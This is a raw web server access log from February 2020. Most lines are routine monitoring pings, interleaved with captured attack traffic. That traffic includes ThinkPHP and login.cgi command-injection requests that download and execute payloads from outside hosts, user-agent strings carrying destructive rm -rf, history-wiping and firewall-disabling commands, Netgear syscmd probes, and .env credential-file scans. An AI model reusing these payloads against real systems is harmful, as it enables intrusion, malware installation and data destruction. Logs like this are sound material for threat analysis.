148.71.44.68 - - [18/Feb/2020:14:00:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.77.51.27 - - [18/Feb/2020:14:00:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:14:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.20.8 - - [18/Feb/2020:14:01:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:14:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [18/Feb/2020:14:07:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.163.213.156 - - [18/Feb/2020:14:08:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:14:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [18/Feb/2020:14:10:03 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [18/Feb/2020:14:13:36 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [18/Feb/2020:14:14:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:14:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:14:16:29 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
35.225.21.27 - - [18/Feb/2020:14:16:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:14:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [18/Feb/2020:14:22:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:14:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.62.10.139 - - [18/Feb/2020:14:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.181.92.239 - - [18/Feb/2020:14:35:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:14:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.89 - - [18/Feb/2020:14:40:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.189.123.181 - - [18/Feb/2020:14:41:37 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [18/Feb/2020:14:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:14:50:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:14:53:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:14:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.125.118 - - [18/Feb/2020:14:55:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:14:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.65 - - [18/Feb/2020:14:56:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:14:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [18/Feb/2020:14:58:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:14:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:14:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:33 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [18/Feb/2020:15:03:34 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [18/Feb/2020:15:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:15:08:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:15:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.240.0.162 - - [18/Feb/2020:15:10:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
35.225.21.27 - - [18/Feb/2020:15:11:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:15:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.144.31.245 - - [18/Feb/2020:15:16:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:15:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
